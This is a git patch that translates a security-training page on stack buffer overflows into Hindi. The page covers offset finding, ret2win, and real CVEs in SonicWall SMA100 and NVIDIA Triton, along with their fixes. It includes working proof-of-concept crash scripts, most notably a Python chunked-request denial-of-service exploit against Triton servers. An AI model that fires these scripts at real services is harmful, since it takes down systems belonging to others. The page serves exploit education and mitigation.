From 91a9815a786577644e32007e29a35caf267e7550 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 20 Aug 2025 02:44:27 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/stack-overflow/README.md'] to hi --- .../stack-overflow/README.md | 84 ++++++++++++++++--- 1 file changed, 72 insertions(+), 12 deletions(-) diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 81a623a6d..4a26d1a59 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -6,11 +6,11 @@ A **stack overflow** एक सुरक्षा कमी है जो तब होती है जब एक प्रोग्राम स्टैक में उस डेटा से अधिक डेटा लिखता है जितना कि उसे रखने के लिए आवंटित किया गया है। यह अतिरिक्त डेटा **सन्निकट मेमोरी स्थान को ओवरराइट** करेगा, जिससे वैध डेटा का भ्रष्टाचार, नियंत्रण प्रवाह में विघटन, और संभावित रूप से दुर्भावनापूर्ण कोड का निष्पादन हो सकता है। यह समस्या अक्सर असुरक्षित कार्यों के उपयोग के कारण उत्पन्न होती है जो इनपुट पर सीमा जांच नहीं करते हैं। -इस ओवरराइट की मुख्य समस्या यह है कि **सहेजा गया निर्देश सूचकांक (EIP/RIP)** और **सहेजा गया आधार सूचकांक (EBP/RBP)** जो पिछले कार्य में लौटने के लिए होते हैं, **स्टैक पर संग्रहीत** होते हैं। इसलिए, एक हमलावर उन्हें ओवरराइट कर सकेगा और **प्रोग्राम के निष्पादन प्रवाह को नियंत्रित कर सकेगा**। +इस ओवरराइट का मुख्य समस्या यह है कि **सहेजा गया निर्देश सूचक (EIP/RIP)** और **सहेजा गया बेस सूचक (EBP/RBP)** जो पिछले कार्य में लौटने के लिए होते हैं, **स्टैक पर संग्रहीत** होते हैं। इसलिए, एक हमलावर उन्हें ओवरराइट करने में सक्षम होगा और **प्रोग्राम के निष्पादन प्रवाह को नियंत्रित** कर सकेगा। -यह सुरक्षा कमी आमतौर पर इसलिए उत्पन्न होती है क्योंकि एक कार्य **स्टैक के अंदर उन बाइट्स की अधिक संख्या की नकल करता है जितनी कि इसके लिए आवंटित की गई है**, इसलिए अन्य स्टैक के हिस्सों को ओवरराइट करने में सक्षम होता है। +यह सुरक्षा कमी आमतौर पर इसलिए उत्पन्न होती है क्योंकि एक कार्य **स्टैक में आवंटित मात्रा से अधिक बाइट्स की कॉपी करता है**, जिससे अन्य स्टैक के हिस्सों को ओवरराइट करने में सक्षम होता है। -इससे प्रभावित कुछ सामान्य कार्य हैं: **`strcpy`, `strcat`, `sprintf`, `gets`**... इसके अलावा, **`fgets`**, **`read` & `memcpy`** जैसे कार्य जो **लंबाई तर्क** लेते हैं, यदि निर्दिष्ट लंबाई आवंटित लंबाई से अधिक है तो उन्हें असुरक्षित तरीके से उपयोग किया जा सकता है। +इससे प्रभावित कुछ सामान्य कार्य हैं: **`strcpy`, `strcat`, `sprintf`, `gets`**... इसके अलावा, **`fgets`**, **`read` & `memcpy`** जैसे कार्य जो **लंबाई तर्क** लेते हैं, यदि निर्दिष्ट लंबाई आवंटित से अधिक है तो एक असुरक्षित तरीके से उपयोग किए जा सकते हैं। उदाहरण के लिए, निम्नलिखित कार्य असुरक्षित हो सकते हैं: ```c @@ -23,11 +23,11 @@ printf("You entered: %s\n", buffer); ``` ### Stack Overflows ऑफसेट्स खोजना -Stack overflows खोजने का सबसे सामान्य तरीका बहुत बड़े `A`s का इनपुट देना है (जैसे `python3 -c 'print("A"*1000)'`) और एक `Segmentation Fault` की उम्मीद करना जो यह संकेत करता है कि **पता `0x41414141` को एक्सेस करने की कोशिश की गई थी**। +Stack overflows खोजने का सबसे सामान्य तरीका `A`s का बहुत बड़ा इनपुट देना है (जैसे `python3 -c 'print("A"*1000)'`) और एक `Segmentation Fault` की उम्मीद करना जो यह संकेत करता है कि **पता `0x41414141` को एक्सेस करने की कोशिश की गई थी**। -इसके अलावा, एक बार जब आप यह पता लगा लेते हैं कि Stack Overflow की कमजोरी है, तो आपको उस ऑफसेट को खोजने की आवश्यकता होगी जब तक कि **रिटर्न पता ओवरराइट करना संभव न हो**, इसके लिए आमतौर पर **De Bruijn अनुक्रम** का उपयोग किया जाता है। जो एक दिए गए वर्णमाला के आकार _k_ और लंबाई _n_ के उप अनुक्रमों के लिए एक **चक्रीय अनुक्रम है जिसमें लंबाई _n_ का हर संभव उप अनुक्रम ठीक एक बार एक सन्निहित उप अनुक्रम के रूप में प्रकट होता है**। +इसके अलावा, एक बार जब आप यह पता लगा लेते हैं कि Stack Overflow की कमजोरी है, तो आपको यह पता लगाने की आवश्यकता होगी कि **रिटर्न एड्रेस को ओवरराइट करने के लिए कितना ऑफसेट चाहिए**, इसके लिए आमतौर पर **De Bruijn अनुक्रम** का उपयोग किया जाता है। जो एक दिए गए वर्णमाला के आकार _k_ और लंबाई _n_ के उप अनुक्रमों के लिए एक **चक्रीय अनुक्रम है जिसमें लंबाई _n_ का हर संभव उप अनुक्रम ठीक एक बार एक सन्निहित उप अनुक्रम के रूप में प्रकट होता है**। -इस तरह, EIP को नियंत्रित करने के लिए आवश्यक ऑफसेट को हाथ से पता लगाने के बजाय, इन अनुक्रमों में से एक को पैडिंग के रूप में उपयोग करना संभव है और फिर उन बाइट्स के ऑफसेट को खोजना संभव है जिन्होंने इसे ओवरराइट किया। +इस तरह, EIP को नियंत्रित करने के लिए आवश्यक ऑफसेट को हाथ से पता लगाने के बजाय, इन अनुक्रमों में से एक को पैडिंग के रूप में उपयोग करना संभव है और फिर उन बाइट्स का ऑफसेट ढूंढना संभव है जो इसे ओवरराइट करने के अंत में हैं। इसके लिए **pwntools** का उपयोग करना संभव है: ```python @@ -51,13 +51,13 @@ pattern search $rsp #Search the offset given the content of $rsp ## स्टैक ओवरफ्लोज़ का शोषण एक ओवरफ्लो के दौरान (मान लेते हैं कि ओवरफ्लो का आकार पर्याप्त बड़ा है) आप स्टैक के अंदर स्थानीय वेरिएबल्स के मानों को **ओवरराइट** करने में सक्षम होंगे जब तक कि आप सुरक्षित **EBP/RBP और EIP/RIP (या इससे भी अधिक)** तक नहीं पहुँच जाते।\ -इस प्रकार की भेद्यता का दुरुपयोग करने का सबसे सामान्य तरीका **रिटर्न एड्रेस को संशोधित करना** है ताकि जब फ़ंक्शन समाप्त हो, तो **नियंत्रण प्रवाह उस प्वाइंटर में उपयोगकर्ता द्वारा निर्दिष्ट स्थान पर पुनर्निर्देशित किया जाएगा**। +इस प्रकार की भेद्यता का दुरुपयोग करने का सबसे सामान्य तरीका **रिटर्न पते को संशोधित करना** है ताकि जब फ़ंक्शन समाप्त हो, तो **नियंत्रण प्रवाह उस पते पर पुनर्निर्देशित हो जाए जो उपयोगकर्ता ने निर्दिष्ट किया है**। हालांकि, अन्य परिदृश्यों में केवल **स्टैक में कुछ वेरिएबल्स के मानों को ओवरराइट करना** शोषण के लिए पर्याप्त हो सकता है (जैसे आसान CTF चुनौतियों में)। ### Ret2win -इस प्रकार की CTF चुनौतियों में, बाइनरी के अंदर एक **फंक्शन** है जो **कभी भी कॉल नहीं किया जाता** और जिसे **जीतने के लिए आपको कॉल करना होगा**। इन चुनौतियों के लिए आपको केवल **रिटर्न एड्रेस को ओवरराइट करने के लिए ऑफसेट** खोजने की आवश्यकता है और **कॉल करने के लिए फंक्शन का पता** लगाना है (आमतौर पर [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) अक्षम होगा) ताकि जब कमजोर फ़ंक्शन लौटे, तो छिपा हुआ फ़ंक्शन कॉल किया जाएगा: +इस प्रकार की CTF चुनौतियों में, बाइनरी के अंदर एक **फंक्शन** है जो **कभी नहीं बुलाया जाता** और जिसे **आपको जीतने के लिए बुलाना होगा**। इन चुनौतियों के लिए आपको केवल **रिटर्न पते को ओवरराइट करने के लिए ऑफसेट** ढूंढना है और **बुलाने के लिए फंक्शन का पता** लगाना है (आमतौर पर [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) अक्षम होगा) ताकि जब कमजोर फ़ंक्शन लौटे, तो छिपा हुआ फ़ंक्शन बुलाया जाए: {{#ref}} ret2win/ @@ -107,21 +107,81 @@ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` 1. पहला रूपांतरण (`%2s`) सुरक्षित रूप से **दो** बाइट्स को `version` में स्टोर करता है (जैसे कि `"v1"`). 2. दूसरा रूपांतरण (`%s`) **कोई लंबाई निर्दिष्ट नहीं करता**, इसलिए `sscanf` **पहले NUL बाइट** तक कॉपी करना जारी रखेगा. -3. क्योंकि `endpoint` **स्टैक** पर स्थित है और इसकी लंबाई **0x800 बाइट्स** है, 0x800 बाइट्स से लंबा पथ प्रदान करने से बफर के बाद जो कुछ भी है, वह सब भ्रष्ट हो जाता है ‑ जिसमें **स्टैक कैनरी** और **सहेजा गया रिटर्न पता** शामिल है. +3. क्योंकि `endpoint` **स्टैक** पर स्थित है और इसकी लंबाई **0x800 बाइट्स** है, 0x800 बाइट्स से लंबा पथ प्रदान करने से बफर के बाद जो कुछ भी है, वह सब भ्रष्ट हो जाता है ‑ जिसमें **स्टैक कैनरी** और **सहेजा गया लौटने का पता** शामिल है. -एकल-पंक्ति प्रमाण-ऑफ-कॉन्सेप्ट क्रैश को **प्रमाणन से पहले** ट्रिगर करने के लिए पर्याप्त है: +एकल-पंक्ति प्रमाण-का-धारणा क्रैश को **प्रमाणन से पहले** ट्रिगर करने के लिए पर्याप्त है: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -हालाँकि स्टैक कैनरी प्रक्रिया को समाप्त कर देते हैं, एक हमलावर को फिर भी एक **Denial-of-Service** प्राइमिटिव मिलता है (और, अतिरिक्त जानकारी लीक के साथ, संभवतः कोड-एक्ज़ीक्यूशन)। सबक सरल है: +हालाँकि स्टैक कैनरी प्रक्रिया को समाप्त कर देते हैं, एक हमलावर को फिर भी एक **Denial-of-Service** प्राइमिटिव प्राप्त होता है (और, अतिरिक्त जानकारी लीक के साथ, संभवतः कोड-एक्ज़ीक्यूशन)। सबक सरल है: * हमेशा एक **अधिकतम फ़ील्ड चौड़ाई** प्रदान करें (जैसे `%511s`)। * `snprintf`/`strncpy_s` जैसे सुरक्षित विकल्पों को प्राथमिकता दें। -## References +### वास्तविक-विश्व उदाहरण: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) + +NVIDIA का Triton Inference Server (≤ v25.06) में कई **स्टैक-आधारित ओवरफ्लो** शामिल थे जो इसके HTTP API के माध्यम से पहुँचे जा सकते थे। +कमजोर पैटर्न बार-बार `http_server.cc` और `sagemaker_server.cc` में दिखाई दिया: +```c +int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); +if (n > 0) { +/* allocates 16 * n bytes on the stack */ +struct evbuffer_iovec *v = (struct evbuffer_iovec *) +alloca(sizeof(struct evbuffer_iovec) * n); +... +} +``` +1. `evbuffer_peek` (libevent) वर्तमान HTTP अनुरोध शरीर को बनाने वाले **आंतरिक बफर खंडों की संख्या** लौटाता है। +2. प्रत्येक खंड **16-बाइट** `evbuffer_iovec` को **स्टैक** पर `alloca()` के माध्यम से आवंटित करता है - **कोई ऊपरी सीमा नहीं**। +3. **HTTP _chunked transfer-encoding_** का दुरुपयोग करके, एक क्लाइंट अनुरोध को **सैकड़ों-हजारों 6-बाइट के टुकड़ों** में विभाजित करने के लिए मजबूर कर सकता है (`"1\r\nA\r\n"`)। इससे `n` अनियंत्रित रूप से बढ़ता है जब तक कि स्टैक समाप्त नहीं हो जाता। + +#### Proof-of-Concept (DoS) +```python +#!/usr/bin/env python3 +import socket, sys + +def exploit(host="localhost", port=8000, chunks=523_800): +s = socket.create_connection((host, port)) +s.sendall(( +f"POST /v2/models/add_sub/infer HTTP/1.1\r\n" +f"Host: {host}:{port}\r\n" +"Content-Type: application/octet-stream\r\n" +"Inference-Header-Content-Length: 0\r\n" +"Transfer-Encoding: chunked\r\n" +"Connection: close\r\n\r\n" +).encode()) + +for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc +s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x +s.sendall(b"0\r\n\r\n") # end of chunks +s.close() + +if __name__ == "__main__": +exploit(*sys.argv[1:]) +``` +A ~3 MB अनुरोध सुरक्षित लौटने के पते को ओवरराइट करने और डिफ़ॉल्ट निर्माण पर **क्रैश** करने के लिए पर्याप्त है। + +#### पैच और शमन +25.07 रिलीज़ असुरक्षित स्टैक आवंटन को **हीप-बैक्ड `std::vector`** से बदलती है और `std::bad_alloc` को सुचारू रूप से संभालती है: +```c++ +std::vector v_vec; +try { +v_vec = std::vector(n); +} catch (const std::bad_alloc &e) { +return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); +} +struct evbuffer_iovec *v = v_vec.data(); +``` +सीखें: +* कभी भी `alloca()` को हमलावर-नियंत्रित आकारों के साथ कॉल न करें। +* चंक्ड अनुरोध सर्वर-साइड बफर्स के आकार को नाटकीय रूप से बदल सकते हैं। +* किसी भी मान को मान्य करें / सीमित करें जो क्लाइंट इनपुट से प्राप्त होता है *पहले* इसे मेमोरी आवंटनों में उपयोग करने से पहले। + +## संदर्भ * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) +* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/) {{#include ../../banners/hacktricks-training.md}}